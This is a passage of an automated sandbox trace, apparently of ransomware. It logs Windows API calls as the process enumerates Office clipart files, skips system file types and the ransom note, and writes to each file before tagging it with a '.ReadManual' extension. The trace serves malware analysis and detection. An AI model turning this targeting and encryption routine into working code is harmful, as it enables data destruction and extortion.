Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.812] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3026) returned 1 [0258.812] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd2, lpName=0x0) returned 0x184 [0258.812] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.813] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.813] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.815] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.815] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd2) returned 0x2f0000 [0258.815] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.815] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37948371483) returned 1 [0258.815] CloseHandle (hObject=0x184) returned 1 [0258.815] SetSecurityInfo () returned 0x57 [0258.815] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.815] CloseHandle (hObject=0x194) returned 1 [0258.816] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0258.816] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00015_.WMF" | out: lpString1="AN00015_.WMF") returned="AN00015_.WMF" [0258.816] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.816] StrStrIW (lpFirst="AN00015_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.816] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.816] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.816] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" [0258.816] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.ReadManual.5A595725" [0258.816] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.ReadManual.5A595725") returned 87 [0258.816] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37948525048) returned 1 [0258.817] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0258.817] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.817] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4734) returned 1 [0258.817] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x127e, lpName=0x0) returned 0x184 [0258.817] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.818] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.818] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.819] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.820] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x127e) returned 0x2f0000 [0258.820] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.820] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37948856050) returned 1 [0258.820] CloseHandle (hObject=0x184) returned 1 [0258.820] SetSecurityInfo () returned 0x57 [0258.820] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.820] CloseHandle (hObject=0x194) returned 1 [0258.824] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0258.824] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00790_.WMF" | out: lpString1="AN00790_.WMF") returned="AN00790_.WMF" [0258.824] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.825] StrStrIW (lpFirst="AN00790_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.825] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.825] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.825] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" [0258.825] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.ReadManual.5A595725" [0258.825] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.ReadManual.5A595725") returned 87 [0258.825] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37949380818) returned 1 [0258.825] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0258.826] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.827] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5684) returned 1 [0258.827] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1634, lpName=0x0) returned 0x184 [0258.827] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.827] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.828] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.834] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.834] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1634) returned 0x2f0000 [0258.834] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.835] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37950331233) returned 1 [0258.835] CloseHandle (hObject=0x184) returned 1 [0258.835] SetSecurityInfo () returned 0x57 [0258.835] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.835] CloseHandle (hObject=0x194) returned 1 [0258.836] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0258.836] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00853_.WMF" | out: lpString1="AN00853_.WMF") returned="AN00853_.WMF" [0258.836] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.836] StrStrIW (lpFirst="AN00853_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.836] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.836] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.837] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.837] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.837] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.837] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.837] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" [0258.837] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.ReadManual.5A595725" [0258.837] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.ReadManual.5A595725") returned 87 [0258.837] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37950552137) returned 1 [0258.837] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0258.837] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.837] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20578) returned 1 [0258.837] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5062, lpName=0x0) returned 0x184 [0258.837] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.838] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.838] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.840] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.840] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5062) returned 0x2f0000 [0258.841] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.841] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37950979400) returned 1 [0258.841] CloseHandle (hObject=0x184) returned 1 [0258.841] SetSecurityInfo () returned 0x57 [0258.841] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.841] CloseHandle (hObject=0x194) returned 1 [0258.842] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0258.842] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00914_.WMF" | out: lpString1="AN00914_.WMF") returned="AN00914_.WMF" [0258.842] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.842] StrStrIW (lpFirst="AN00914_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.842] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.842] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.843] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.843] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.843] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" [0258.843] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.ReadManual.5A595725" [0258.843] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.ReadManual.5A595725") returned 87 [0258.843] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37951143879) returned 1 [0258.843] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0258.844] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.844] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10832) returned 1 [0258.844] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a50, lpName=0x0) returned 0x184 [0258.844] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.845] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.845] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.846] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.846] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a50) returned 0x2f0000 [0258.847] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.847] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37951550637) returned 1 [0258.847] CloseHandle (hObject=0x184) returned 1 [0258.847] SetSecurityInfo () returned 0x57 [0258.847] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.847] CloseHandle (hObject=0x194) returned 1 [0258.848] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0258.848] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00932_.WMF" | out: lpString1="AN00932_.WMF") returned="AN00932_.WMF" [0258.848] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.848] StrStrIW (lpFirst="AN00932_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.848] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.848] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.848] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" [0258.848] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.ReadManual.5A595725" [0258.848] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.ReadManual.5A595725") returned 87 [0258.848] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37951708950) returned 1 [0258.848] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0258.849] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.849] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14428) returned 1 [0258.849] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x385c, lpName=0x0) returned 0x184 [0258.849] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.849] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.849] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.851] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.851] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 